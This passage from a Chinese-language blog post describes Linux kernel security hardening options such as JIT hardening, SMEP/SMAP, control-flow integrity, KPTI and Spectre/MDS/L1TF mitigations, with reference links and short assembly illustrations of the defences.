JIT后端。启用后会牺牲部分性能，但能减少JIT喷射攻击。一共有三个选项，0表示关闭，1表示针对非特权用户会做加固，2表示针对所有用户都会做加固。这个加固的实现方法是把JIT生成的立即数全部做拆分，生成一个随机数与原来的立即数做异或得到一个值，随后在使用之前再通过异或来还原原始立即数。这样攻击者想利用的立即数就会拆解，导致JIT喷射失败。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">mov    $0xa8909090,%eax</span><br><span class="line">=&gt;</span><br><span class="line">mov    $0xe1192563,%r10d</span><br><span class="line">xor    $0x4989b5f3,%r10d</span><br><span class="line">mov    %r10d,%eax</span><br></pre></td></tr></table></figure><p>参考：<a href="https://www.kernel.org/doc/Documentation/sysctl/net.txt，https://arthurchiao.art/blog/cilium-bpf-xdp-reference-guide-zh/" target="_blank" rel="noopener">https://www.kernel.org/doc/Documentation/sysctl/net.txt，https://arthurchiao.art/blog/cilium-bpf-xdp-reference-guide-zh/</a></p><h3 id="GRKERNSEC-JIT-HARDEN"><a href="#GRKERNSEC-JIT-HARDEN" class="headerlink" title="GRKERNSEC_JIT_HARDEN"></a>GRKERNSEC_JIT_HARDEN</h3><p>如果开启选项，则将对内核的BPF JIT引擎生成的代码做加固，用来防止JIT喷射攻击。JIT喷射会将对攻击者有用的指令放入JIT生成的32位立即数字段中，通过跳转进生成指令的中间部分来执行攻击者构造的指令序列。而这个选项可以把JIT产生的32位立即数做拆分以此来防御攻击。</p><p>参考：<a href="https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options" target="_blank" rel="noopener">https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options</a></p><h3 id="MODULE-SIG"><a href="#MODULE-SIG" class="headerlink" title="MODULE_SIG*"></a>MODULE_SIG*</h3><p>一个检查模块签名的选项，内核提供了<code>SHA1</code>，<code>SHA224</code>，<code>SHA256</code>，<code>SHA384</code>，<code>SHA512</code>五种hash算法。需要注意的是在签名完成之后不要做去除符号表等修改操作。</p><p>参考：<a href="https://github.com/torvalds/linux/blob/master/Documentation/admin-guide/module-signing.rst" target="_blank" rel="noopener">https://github.com/torvalds/linux/blob/master/Documentation/admin-guide/module-signing.rst</a></p><h3 id="SECURITY-LOADPIN"><a href="#SECURITY-LOADPIN" class="headerlink" title="SECURITY_LOADPIN"></a>SECURITY_LOADPIN</h3><p>LoadPin是一个用来确保所有内核加载的文件都是没有被篡改的Linux安全模块，整体的实现方法是利用新的内核文件加载机制去中断所有尝试加载进内核的文件，包括加载内核模块，读取固件，加载镜像等等，然后会把需要加载的文件与启动之后第一次加载使用的文件作比较，如果没有匹配，那么这次的加载操作会被阻止。</p><p>参考：<a href="https://lwn.net/Articles/682302/" target="_blank" rel="noopener">https://lwn.net/Articles/682302/</a></p><h3 id="LDISC-AUTOLOAD-is-not-set"><a href="#LDISC-AUTOLOAD-is-not-set" class="headerlink" title="LDISC_AUTOLOAD is not set"></a>LDISC_AUTOLOAD is not set</h3><p>这个是一个控制自动加载TTY行规程的选项，在历史上当有用户要使用<code>TIOCSETD ioctl</code>或者其他方法加载内核模块时，内核总是会自动加载内核模块中的任何行规程。如果你之后不会使用一些古老的行规程，最好是把自动加载选项关闭或者设置<code>CAP_SYS_MODULE</code>权限来限制一般用户。在系统运行时还可以设置<code>dev.tty.ldisc_autoload</code>的值来改变选项。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/LDISC_AUTOLOAD.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/LDISC_AUTOLOAD.html</a></p><h3 id="GRKERNSEC-MODHARDEN"><a href="#GRKERNSEC-MODHARDEN" class="headerlink" title="GRKERNSEC_MODHARDEN"></a>GRKERNSEC_MODHARDEN</h3><p>这是一个加固模块自动加载的选项，开启之后会限制非特权用户使用模块自动加载功能，主要目的是保护内核不要自动加载一些容易受攻击的模块。</p><p>参考：<a href="https://xorl.wordpress.com/2010/11/08/grsecuritys-grkernsec_modharden-protection-and-the-rds-local-root-exploit/" target="_blank" rel="noopener">https://xorl.wordpress.com/2010/11/08/grsecuritys-grkernsec_modharden-protection-and-the-rds-local-root-exploit/</a></p><h3 id="DEBUG-WX"><a href="#DEBUG-WX" class="headerlink" title="DEBUG_WX"></a>DEBUG_WX</h3><p>在启动的时候对<code>W+X</code>执行权限的映射区域产生警告，这个选项的开启能够有效的发现内核在应用<code>NX</code>之后遗留的<code>W+X</code>映射区域，而这些映射都是高风险的利用区域。需要注意的是这个选项只会在内核启动时检查一次，不会在启动之后再次检查。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/DEBUG_WX.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/DEBUG_WX.html</a></p><h3 id="ARM-RODATA-FULL-DEFAULT-ENABLED"><a href="#ARM-RODATA-FULL-DEFAULT-ENABLED" class="headerlink" title="ARM: RODATA_FULL_DEFAULT_ENABLED"></a>ARM: RODATA_FULL_DEFAULT_ENABLED</h3><p>这是ARM版Linux内核中的一个选项，开启之后会把只读的属性应用到虚拟内存的其他线性别名上，这样可以防止代码段或一些只读数据通过其他的内存映射页被修改。这个额外的加固能够在运行时传输<code>rodata=off</code>关闭选项。如果想要在选项开启时对只读区域做修改，可以临时设置一个新的可写内存映射，做出修改之后再取消映射完成更新。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/RODATA_FULL_DEFAULT_ENABLED.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/RODATA_FULL_DEFAULT_ENABLED.html</a></p><h3 id="STRICT-KERNEL-MODULE-RWX"><a href="#STRICT-KERNEL-MODULE-RWX" class="headerlink" title="STRICT_{KERNEL,MODULE}_RWX"></a>STRICT_{KERNEL,MODULE}_RWX</h3><p>一共两个选项，一个是<code>STRICT_KERNEL_RWX</code>，开启选项之后，内核的<code>text</code>段和<code>rodata</code>段内存将会变成只读，并且非代码段的内存将会变成不可执行。这个保护防御了堆栈执行和代码段被修改的攻击。另外一个<code>STRICT_MODULE_RWX</code>，主要目的是设置加载的内核模块数据段不可执行和代码段只读，基本情况和<code>STRICT_KERNEL_RWX</code>一样。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/STRICT_KERNEL_RWX.html，https://cateee.net/lkddb/web-lkddb/STRICT_MODULE_RWX.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/STRICT_KERNEL_RWX.html，https://cateee.net/lkddb/web-lkddb/STRICT_MODULE_RWX.html</a></p><h3 id="PAX-KERNEXEC"><a href="#PAX-KERNEXEC" class="headerlink" title="PAX_KERNEXEC"></a>PAX_KERNEXEC</h3><p><code>PAX_KERNEXEC</code> 是 PaX 针对内核的 No-execute 实现，可以说是内核空间版的 pageexec/mprotect。由于 PAGEEXEC 的实现已经完成了一部分工作（实际上内核的内存访问同样也是透过 page-fault 去处理），<code>KERNEXEC</code>选项的代码实现主要包括这几方面：</p><ul><li>对内核空间的内存属性进行设置（RO &amp; NX）</li><li>内核态的内存访问的控制</li><li>可加载内核模块（W^X）和 bios/efi 内存属性的控制</li><li>透过 gcc-plugin 的配合实现</li></ul><p>参考：<a href="https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/PAX_KERNEXEC.md" target="_blank" rel="noopener">https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/PAX_KERNEXEC.md</a></p><h3 id="STACKPROTECTOR"><a href="#STACKPROTECTOR" class="headerlink" title="STACKPROTECTOR"></a>STACKPROTECTOR</h3><p>检查栈缓冲区溢出的保护，这个选项开启之后会产生大家都很熟悉的<code>canary</code>，在函数开头部分一个值会被放进栈的返回地址之前。当发成栈溢出覆盖到<code>canary</code>，在函数返回时会检查先前放入的值，如果与前面生成的值不匹配则会终止程序。<code>canary</code>产生的条件是栈空间大于等于8字节，需要gcc 4.2版本以上。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/STACKPROTECTOR.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/STACKPROTECTOR.html</a></p><h3 id="ARM-SHADOW-CALL-STACK"><a href="#ARM-SHADOW-CALL-STACK" class="headerlink" title="ARM: SHADOW_CALL_STACK"></a>ARM: SHADOW_CALL_STACK</h3><p>这个选项会开启Clang的影子调用栈，它会用一个影子栈来保存函数的返回地址，这样即使攻击者修改了返回地址也无法劫持控制流，但它只能用在Clang作为编译语言的情况下。然而当攻击者知道影子栈的位置，并拥有写入的权限，那么这个防护将会失效。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/SHADOW_CALL_STACK.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/SHADOW_CALL_STACK.html</a></p><h3 id="Control-Flow-Integrity"><a href="#Control-Flow-Integrity" class="headerlink" title="Control Flow Integrity"></a>Control Flow Integrity</h3><p>为了缓解各种控制流劫持攻击而提出的一种防御手段，在最原始的设计中是通过分析程序的控制流图，获取间接转移指令（包括间接跳转、间接调用、和函数返回指令）目标的白名单，并在运行过程中，核对间接转移指令的目标是否在白名单中。但这种检查针对系统中的每一个跳转和调用就会造成极大的系统开销，而粗粒度的检查又会导致安全性的下降。所以现在的安全研究员在探索新的CFI技术，使其在可接受的开销下能获得高安全性。</p><h4 id="ARM-ARM64-PTR-AUTH-ARM64-BTI-KERNEL"><a href="#ARM-ARM64-PTR-AUTH-ARM64-BTI-KERNEL" class="headerlink" title="ARM: ARM64_PTR_AUTH + ARM64_BTI_KERNEL"></a>ARM: ARM64_PTR_AUTH + ARM64_BTI_KERNEL</h4><p><code>ARM64_PTR_AUTH</code>是开启指针认证支持的选项，开启之后会提供签名和认证指针的指令并产生相关的密钥，这些保护能阻止ROP类修改地址的攻击。需要ARMv8.3才能支持的新特性。</p><p><code>ARM64_BTI_KERNEL</code>开启选项会把分支目标识别（BTI）应用到内核中，能够对间接跳转的目标进行限制，能阻止JOP类的跳转攻击。与指针认证结合使用能很大程度上减少控制流劫持攻击。需要ARMv8.5才能支持的新特性。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/ARM64_PTR_AUTH.html，https://cateee.net/lkddb/web-lkddb/ARM64_BTI_KERNEL.html，https://www.secrss.com/articles/9812" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/ARM64_PTR_AUTH.html，https://cateee.net/lkddb/web-lkddb/ARM64_BTI_KERNEL.html，https://www.secrss.com/articles/9812</a></p><h4 id="X86-Intel-CET"><a href="#X86-Intel-CET" class="headerlink" title="X86: Intel CET"></a>X86: Intel CET</h4><p>Intel开发的新安全机制控制流执行技术CET（Control-flow Enforcement Technology），主要提供了两个功能，间接分支跟踪和影子栈。间接分支跟踪能提供对间接分支的保护，用来防御<code>JOP/COP</code>类的攻击方法。影子栈可以提供对返回地址的保护，用来防御<code>ROP</code>类的攻击方法，影子栈的实现方式大多类似，这里同样是保存返回地址然后在函数返回时对地址做检查。</p><p>参考：<a href="https://newsroom.intel.com/editorials/intel-cet-answers-call-protect-common-malware-threats/#gs.yeecux" target="_blank" rel="noopener">https://newsroom.intel.com/editorials/intel-cet-answers-call-protect-common-malware-threats/#gs.yeecux</a></p><h4 id="PAX-RAP"><a href="#PAX-RAP" class="headerlink" title="PAX_RAP"></a>PAX_RAP</h4><p>PaX/Grsecurity团队在2015年提出的针对Linux内核的新安全机制。其中的防御思路也分成两个部分，其一，针对返回地址的保护，它将返回地址保存在<code>rbx</code>中并与<code>r12</code>异或，在函数返回之前再异或回来并与返回地址作比较。例子如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">push %rbx</span><br><span class="line">mov 8(%rsp),%rbx</span><br><span class="line">xor %r12,%rbx</span><br><span class="line">...</span><br><span class="line">xor %r12,%rbx</span><br><span class="line">cmp %rbx,8(%rsp)</span><br><span class="line">jnz .error</span><br><span class="line">pop %rbx</span><br><span class="line">retn</span><br><span class="line">.error:</span><br><span class="line">ud2</span><br></pre></td></tr></table></figure><p>其二，针对非直接控制跳转的保护，它这里会在调用之前检查调用地址是否在白名单中，在调用返回之前也会进行检查。</p><p>调用执行之前：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">cmpq $0x11223344,-8(%rax)</span><br><span class="line">jne .error</span><br><span class="line">call *%rax</span><br><span class="line">...</span><br><span class="line">cmpq $0x55667788,-16(%rax)</span><br><span class="line">jne .error</span><br><span class="line">call *%rax</span><br><span class="line">...</span><br><span class="line">dq 0x55667788,0x11223344</span><br><span class="line">func:</span><br></pre></td></tr></table></figure><p>调用返回之前：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">call ...</span><br><span class="line">jmp 1f</span><br><span class="line">dq 0xffffffffaabbccdd</span><br><span class="line">1:</span><br><span class="line">...</span><br><span class="line">mov %(rsp),%rcx</span><br><span class="line">cmpq $0xaabbccdd,2(%rcx)</span><br><span class="line">jne .error</span><br><span class="line">retn</span><br></pre></td></tr></table></figure><p>参考：<a href="https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf" target="_blank" rel="noopener">https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf</a></p><h3 id="SMEP-PXN"><a href="#SMEP-PXN" class="headerlink" title="SMEP/PXN"></a>SMEP/PXN</h3><p>在x86架构下为SMEP（Supervisor Mode Execution Prevention，管理模式执行保护），在ARM架构下为PXN（Privileged eXecute Never，永不执行权限）。</p><p>SMEP是禁止内核执行用户空间的代码，如果在内核中执行了用户空间的代码就会触发页错误。开启条件是<code>CR4</code>寄存器的第21位为1，如果被设置为0则保护关闭。（这也给突破保护留下了机会，如果能通过漏洞把<code>CR4</code>寄存器的第20位设置为0即可绕过）</p><p>PXN 是一个防止用户空间代码被内核空间执行的安全特性（和SMEP一样）。在 ARMv7 的硬件支持下，通过 PXN 比特位的设定，决定该页的内存是否可被内核执行，可有效防止 ret2usr 攻击。需要ARMv7的硬件支持。</p><p>参考：<a href="https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/PXN.md，https://blog.csdn.net/qq_40827990/article/details/98937960" target="_blank" rel="noopener">https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/PXN.md，https://blog.csdn.net/qq_40827990/article/details/98937960</a></p><h3 id="SMAP-PAN"><a href="#SMAP-PAN" class="headerlink" title="SMAP/PAN"></a>SMAP/PAN</h3><p>在x86架构下为SMAP（Supervisor Mode Access Prevention，管理模式访问保护），在ARM架构下为PAN（Privileged Access Never，永不访问权限）。</p><p>SMAP是禁止内核访问用户空间的数据，如果在内核中访问了用户空间的代码就会出现错误。开启条件是<code>CR4</code>寄存器的第22位为1，如果被设置为0则保护关闭。绕过的方式同样可以是利用漏洞修改<code>RC4</code>寄存器的值。</p><p>PAN是一个防止用户空间数据被内核空间访问的安全特性（和SMAP一样）。需要ARMv8.1的硬件支持，下面有两个PAN相关的内核配置选项。</p><p>参考：<a href="https://mp.weixin.qq.com/s/ErugGvrJxhrf0qoxzWgQAQ" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/ErugGvrJxhrf0qoxzWgQAQ</a></p><h4 id="ARM-CPU-SW-DOMAIN-PAN"><a href="#ARM-CPU-SW-DOMAIN-PAN" class="headerlink" title="ARM: CPU_SW_DOMAIN_PAN"></a>ARM: CPU_SW_DOMAIN_PAN</h4><p>选项开启之后，启用CPU的PAN保护，确保内核无法访问用户空间数据来提高安全性。实现思路是用不同的内存映射来做约束，但遇到内核确实需要访问用户空间数据的情况时，会临时关闭保护。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/CPU_SW_DOMAIN_PAN.html，https://patchwork.kernel.org/project/linux-arm-kernel/patch/E1ZSmQG-0002za-E3@rmk-PC.arm.linux.org.uk/" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/CPU_SW_DOMAIN_PAN.html，https://patchwork.kernel.org/project/linux-arm-kernel/patch/E1ZSmQG-0002za-E3@rmk-PC.arm.linux.org.uk/</a></p><h4 id="ARM-ARM64-SW-TTBR0-PAN"><a href="#ARM-ARM64-SW-TTBR0-PAN" class="headerlink" title="ARM: ARM64_SW_TTBR0_PAN"></a>ARM: ARM64_SW_TTBR0_PAN</h4><p>这个选项是用<code>TTBR0_EL1</code>交换来仿真实现PAN保护。开启选项之后通过把<code>TTBR0_EL1</code>指向保留归零区域和保留的ASID来阻止内核直接访问用户空间数据。当需要访问的时候会临时恢复合法的<code>TTBR0_EL1</code>。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/ARM64_SW_TTBR0_PAN.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/ARM64_SW_TTBR0_PAN.html</a></p><h3 id="PAX-MEMORY-UDEREF"><a href="#PAX-MEMORY-UDEREF" class="headerlink" title="PAX_MEMORY_UDEREF"></a>PAX_MEMORY_UDEREF</h3><p>这个防御机制是针对 Linux 的内核/用户空间做地址分离，再结合<code>KERNEXEC</code>能够防御大量针对内核的漏洞利用，比如<code>ret2usr/ret2dir</code>这类将特权级执行流引向用户空间的攻击方式。在 32-bit 的 x86 下，分离的特性很大部分是透过分段机制的寄存器去实现的，而 amd64 以后由于段寄存器功能的削弱，PaX 针对 64-bit 精心设计了<code>KERNEXEC/UDEREF</code>，包括使用 PCID 特性和<code>per-cpu-pgd</code>的实现等。后续UDEREF的改进(2017版)主要是利用硬件特性SMAP提升了性能的同时保证安全性。</p><p>UDEREF的实现主要包括几个方面：</p><ul><li><code>per-cpu-pgd</code> 的实现，将内核/用户空间的页目录彻底分离，彼此无法跨界访问</li><li>PCID 特性的使用，跨界访问的时候产生硬件检查</li><li>内核/用户空间切换时，将用户空间映射为不可执行以及一些刷新 TLB 配合实现</li></ul><p>由于 UDEREF 经过漫长的演变，而且不同的硬件设施会产生不同的防御效果和安全性能，因此 PaX 实现了如下几种模式的 UDEREF：</p><ul><li>无硬件 PCID 支持的，维护的页目录数量只有一个，进出内核的时候屏蔽页目录项的相关访问权限</li><li>有硬件 PCID 支持的 WEAKUDEREF，维护两个页目录，并且将用户空间也备份进内核页目录，屏蔽相关访问位，进出内核时切换 CR3</li><li>有硬件 PCID 支持的 STRONGUDEREF，维护两个页目录，不备份用户空间，内核空间的 TLB 常驻不刷新，减少性能损耗</li></ul><p>参考：<a href="https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/PAX_MEMORY_UDEREF.md" target="_blank" rel="noopener">https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/PAX_MEMORY_UDEREF.md</a></p><h3 id="DEFAULT-MMAP-MIN-ADDR-65536"><a href="#DEFAULT-MMAP-MIN-ADDR-65536" class="headerlink" title="DEFAULT_MMAP_MIN_ADDR=65536"></a>DEFAULT_MMAP_MIN_ADDR=65536</h3><p><code>MMAP_MIN_ADDR</code>是内核中的一个配置选项，它能指定mmap产生的最小虚拟地址。如果这个值设置过于小会增加内核空指针问题导致的安全风险，小地址空间也可能配合其他漏洞做进一步的利用。阻止程序映射较低虚拟内存地址也有不方便的地方，有少部分应用会依赖映射低地址，比如<code>dosemu</code>，<code>qemu</code>，<code>wine</code>。</p><p>参考：<a href="https://wiki.debian.org/mmap_min_addr" target="_blank" rel="noopener">https://wiki.debian.org/mmap_min_addr</a></p><h3 id="X86-pti-on-PAGE-TABLE-ISOLATION"><a href="#X86-pti-on-PAGE-TABLE-ISOLATION" class="headerlink" title="X86: pti=on (PAGE_TABLE_ISOLATION)"></a>X86: pti=on (PAGE_TABLE_ISOLATION)</h3><p>内核页表隔离（KPTI）的前身为KAISER，它是在其基础上增加实现了完全分离用户空间与内核空间的页表来解决页表泄露的问题。实现细节上，在创建全局页目录（PGD）的时候会创建两份，一份在内核运行时使用，另外一份在用户空间运行时使用，这样在切换内核空间和用户空间时PGD也会切换，这两个PGD有着相同的结构，但属于用户空间的PGD中的内核空间大部分会缺失。</p><p>参考：<a href="https://lwn.net/Articles/741878/" target="_blank" rel="noopener">https://lwn.net/Articles/741878/</a></p><h3 id="ARM-kpti-on-UNMAP-KERNEL-AT-EL0"><a href="#ARM-kpti-on-UNMAP-KERNEL-AT-EL0" class="headerlink" title="ARM: kpti=on (UNMAP_KERNEL_AT_EL0)"></a>ARM: kpti=on (UNMAP_KERNEL_AT_EL0)</h3><p>选项开启后当在用户空间运行时会取消内核的映射，这个保护是针对之前爆出的熔断漏洞，它利用CPU的推测行为绕过MMU权限检查，泄露内核数据到用户空间中。在因为系统调用触发中断等等情况时又会把内核暂时映射回来。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/UNMAP_KERNEL_AT_EL0.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/UNMAP_KERNEL_AT_EL0.html</a></p><h3 id="mitigations-auto-nosmt"><a href="#mitigations-auto-nosmt" class="headerlink" title="mitigations=auto,nosmt"></a>mitigations=auto,nosmt</h3><p>选项控制针对CPU的保护措施，<code>auto</code>会开启所有的保护，<code>nosmt</code>会关闭CPU的同步多线程功能。这样每个CPU核的辅助CPU将不会被激活，并且只使用每个CPU核上的主线程。</p><p>参考：<a href="https://unix.stackexchange.com/questions/554908/disable-spectre-and-meltdown-mitigations" target="_blank" rel="noopener">https://unix.stackexchange.com/questions/554908/disable-spectre-and-meltdown-mitigations</a></p><h3 id="X86-MICROCODE"><a href="#X86-MICROCODE" class="headerlink" title="X86: MICROCODE"></a>X86: MICROCODE</h3><p>Intel为了应对幽灵，针对MICROCODE的生成问题打上补丁。在原来的微码ROM下面又增加了一小块SRAM存储，利用它来在ROM上打补丁。补丁的过程需要微码解码器的硬件支持，基本是向量替换的方式。</p><p>参考：<a href="https://zhuanlan.zhihu.com/p/86432216" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/86432216</a></p><h3 id="RESPECTRE"><a href="#RESPECTRE" class="headerlink" title="RESPECTRE"></a>RESPECTRE</h3><p><code>Pax/Grsecurity</code>开发出的防御幽灵的安全机制。它是一个gcc编译器插件，它会理解代码的原始含义并自动的重构，用来消除能基于推测的侧信道信息。实际的效果测试表明只占用内核性能的0.3%。</p><p>参考：<a href="https://grsecurity.net/respectre_announce" target="_blank" rel="noopener">https://grsecurity.net/respectre_announce</a></p><h3 id="Manual-usage-of-nospec-barriers"><a href="#Manual-usage-of-nospec-barriers" class="headerlink" title="Manual usage of nospec barriers"></a>Manual usage of nospec barriers</h3><p>内核提供的通用API确保在分支预测的情况下边界检查是符合预期的。这里主要设计了两个API <code>nospec_ptr(ptr, lo, hi)</code>和<code>nospec_array_ptr(arr, idx, sz)</code>，第一个API会限制ptr在lo和hi的范围内，防止指针越界；第二个API会限制idx只有在<code>[0,sz)</code>的范围中才能获得<code>arr[idx]</code>的数据。</p><p>参考：<a href="https://lwn.net/Articles/743278/" target="_blank" rel="noopener">https://lwn.net/Articles/743278/</a></p><h3 id="X86-spectre-v2-on-RETPOLINE"><a href="#X86-spectre-v2-on-RETPOLINE" class="headerlink" title="X86: spectre_v2=on (RETPOLINE)"></a>X86: spectre_v2=on (RETPOLINE)</h3><p>这是针对幽灵和熔断安全漏洞的v2补丁，引入了<code>retpoline</code>技术通过<code>spectre_v2</code>参数控制。参数有多个配置选项，总结如下：</p><ul><li>on，表示无论硬件如何，都开启</li><li>off，表示物理硬件如何，都关闭</li><li>auto，表示内核根据当前CPU model自动选择mitigation方法。参考的因素包括：<ul><li>cpu model</li><li>是否有可用微码(也就是针对IBRS和IBPB提供的固件)</li><li>内核配置选项CONFIG_RETPOLINE是否配置</li><li>编译内核用的编译器是否提供了新的编译选项：-mindirect-branch=thunk-extern</li></ul></li><li>retpoline/retpoline,generic/retpoline,amd 一共三种<code>RETPOLINE</code>选项，最后对应五种配置</li></ul><p>参考：<a href="http://happyseeker.github.io/kernel/2018/05/31/about-spectre_v2-boot-parameters.html" target="_blank" rel="noopener">http://happyseeker.github.io/kernel/2018/05/31/about-spectre_v2-boot-parameters.html</a></p><h3 id="ARM-HARDEN-BRANCH-PREDICTOR"><a href="#ARM-HARDEN-BRANCH-PREDICTOR" class="headerlink" title="ARM: HARDEN_BRANCH_PREDICTOR"></a>ARM: HARDEN_BRANCH_PREDICTOR</h3><p>这个配置选项是为了阻止分支预测攻击加固分支预测，针对CPU的分支预测攻击是控制分支预测执行攻击者精心构造的分支路径。通过清除内部分支预测的状态并限制某些情况下的预测逻，可以部分缓解这种攻击。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/HARDEN_BRANCH_PREDICTOR.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/HARDEN_BRANCH_PREDICTOR.html</a></p><h3 id="X86-spec-store-bypass-disable-on"><a href="#X86-spec-store-bypass-disable-on" class="headerlink" title="X86: spec_store_bypass_disable=on"></a>X86: spec_store_bypass_disable=on</h3><p>这个配置选项控制是否开启对<code>Speculative Store Bypass</code>的加固以及采用什么方式加固。配置选项如下：</p><ul><li>off，表示不开启任何加固</li><li>on，表示全局关闭CPU的<code>Speculative Store Bypass</code>优化</li><li>prctl，表示使用prctl进行加固</li><li>seccomp，表示使用seccomp进行加固</li><li>auto，表示自动选择加固方式，若系统支持seccomp框架，则默认采用 seccomp 加固方式，否则采用 prctl 加固方式</li></ul><p>幽灵的v4版本开始利用<code>store buffer bypass</code>泄露信息，现代的CPU为了提升性能都会假设<code>store buffer</code>中不存在当前内存地址的更新值，直接开始执行之后的指令，如果之后发现<code>store buffer</code>中确实存在更新的值，就会丢弃之前执行的结果，然而这导致之前执行时已经泄露相关的信息。所以这里推荐的是直接关闭CPU的<code>Speculative Store Bypass</code>优化。</p><p>参考：<a href="https://www.sohu.com/a/357494787_467784" target="_blank" rel="noopener">https://www.sohu.com/a/357494787_467784</a></p><h3 id="ARM-ssbd-force-on"><a href="#ARM-ssbd-force-on" class="headerlink" title="ARM: ssbd=force-on"></a>ARM: ssbd=force-on</h3><p>一个ARM架构针对<code>Speculative Store Bypass</code>的加固配置，控制<code>Speculative Store Bypass Disable</code>的开关，和x86的配置比较相似。配置选项如下：</p><ul><li>force-on，无条件对内核和用户空间开启加固</li><li>force-off，无条件对内核和用户空间关闭加固</li><li>kernel，开启对内核的加固，并且为用户空间提供用来加固的prctl接口，可以选择性的加固需要的地方。</li></ul><p>参考：<a href="https://lkml.org/lkml/2018/5/24/812" target="_blank" rel="noopener">https://lkml.org/lkml/2018/5/24/812</a></p><h3 id="X86-mds-full-nosmt"><a href="#X86-mds-full-nosmt" class="headerlink" title="X86: mds=full,nosmt"></a>X86: mds=full,nosmt</h3><p>MDS（Microarchitectural Data Sampling，微架构的数据采样）攻击是利用处理器的预测执行，通过测信道获取<code>store buffer</code>，<code>fill buffer</code>，<code>load buffer</code>中的数据。通过这个攻击能从用户空间获得内核数据，但是由于攻击无法构造特定的内存地址以获取特定地址处的内存数据，因而只能通过采样的方式获取某一内存地址处对应的数据，攻击者需要收集大量数据才有可能推测出敏感数据。</p><p>这个配置的选项如下：</p><ul><li>off，表示不开启MDS的加固</li><li>full，表示开启CPU buffer clear，但是不关闭SMT</li><li>full+nosmt，表示开启CPU buffer clear，同时会关闭SMT</li></ul><p>而针对MDS攻击的加固主要是从内核态切换到用户态时对<code>store buffer</code>，<code>fill buffer</code>，<code>load buffer</code>等缓存进行清空，另外还需要配合关闭SMT，以防止同一个核心上的辅助CPU重新填充这些缓存。</p><p>参考：<a href="https://www.kernel.org/doc/html/latest/admin-guide/hw-vuln/mds.html，http://www.360doc.com/content/21/0207/15/15915859_961159696.shtml" target="_blank" rel="noopener">https://www.kernel.org/doc/html/latest/admin-guide/hw-vuln/mds.html，http://www.360doc.com/content/21/0207/15/15915859_961159696.shtml</a></p><h3 id="X86-l1tf-full-force"><a href="#X86-l1tf-full-force" class="headerlink" title="X86: l1tf=full,force"></a>X86: l1tf=full,force</h3><p>L1TF（L1 Terminal Fault，L1终端错误）同样是利用CPU的预测执行来获取物理页的内容。Linux中使用PTE（page table entry）来实现虚拟地址到物理地址之间的转换，PTE其中的PFN（page frame number）字段描述对应<code>page frame</code>的物理地址，P（present）表示当前虚拟地址是否存在对应的物理地址，即是否为该虚拟地址分配了对应的 physical page frame。进程在使用虚拟地址访问内存时，会首先找到该虚拟地址对应的 PTE，若 P 字段为 0，则会发生 page fault；若 P 字段为 1，根据 PFN 字段的值在 L1 data cache 中寻找是否存在缓存。</p><p>Intel 处理器在判断 P 标志位是否为 1 的时候，在判断尚未结束之前会预测执行之后的代码，即根据 PFN 字段的值在 L1 data cache 中寻找是否存在缓存。若缓存命中，那么通过 cache 侧信道攻击，攻击者就可以获取某一物理地址处的内存数据。</p><p>这个配置的选项如下：</p><ul><li>off，表示不开启任何L1TF加固</li><li>flush，表示开启条件性的L1D flush加固，关闭SMT Disabling</li><li>flush+nowarn，同样开启L1D flush加固，关闭SMT 